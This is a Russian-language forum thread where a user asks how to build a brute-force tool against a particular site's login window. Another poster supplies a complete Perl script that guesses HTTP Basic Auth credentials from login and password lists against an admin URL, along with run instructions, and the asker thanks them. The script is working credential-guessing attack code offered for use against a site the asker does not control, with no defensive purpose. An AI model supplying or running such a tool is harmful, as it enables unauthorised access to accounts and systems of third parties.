Брутфорс

Хочу написать брутфорс для одного сайта ,подскажите как работоать с всплывающим окном входа, само окно находится по адресу: xxxxx.ru/#

 

Забыл сказать пишу на Delphi

 

Судя по вопросу вы не сможете написать брут.

 

Да уж

Судя по ответу вы тоже.....

 

Согласен

Намек:
Богомерзкие плагины а-ля HttpFox теперь не в моде?

 

Держи поддержку прокси сам прикрутишь. Лень

Code:

#!/usr/bin/perl
#basic auth brute 
#totenkopf

use LWP;
use vars '@ISA';
@ISA = 'LWP::UserAgent';

my $url = $ARGV[0];
my $ln = $ARGV[1];
my $pn = $ARGV[2];

-s $ln || die "error login file\n";
-s $pn || die "error password file\n";

open(LH,$ln);
open(PH,$pn);

my $login = "";
my $pass = "";


my $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7";

my $ua = __PACKAGE__->new;

$ua->agent($agent);

while($login=<LH>){
	chomp($login);
	while($pass=<PH>){
		chomp($pass);
		my $request = HTTP::Request->new(GET=>$url);
		my $response = $ua->request($request);
		if($response->is_success)	
		{
		print "[+] $login:$pass\n";
		exit;
		}
}
seek(PH,0,0)
}
print "[-] Not Found\n";

sub get_basic_credentials {
return ($login,$pass);
}

Запускать: perl http://site/admin/ [файл с логинами] [файл с паролями]
И бросайте вы уже Делфи. Ведь более важен результат не так ли?

 

Спасибо ,всё пригодится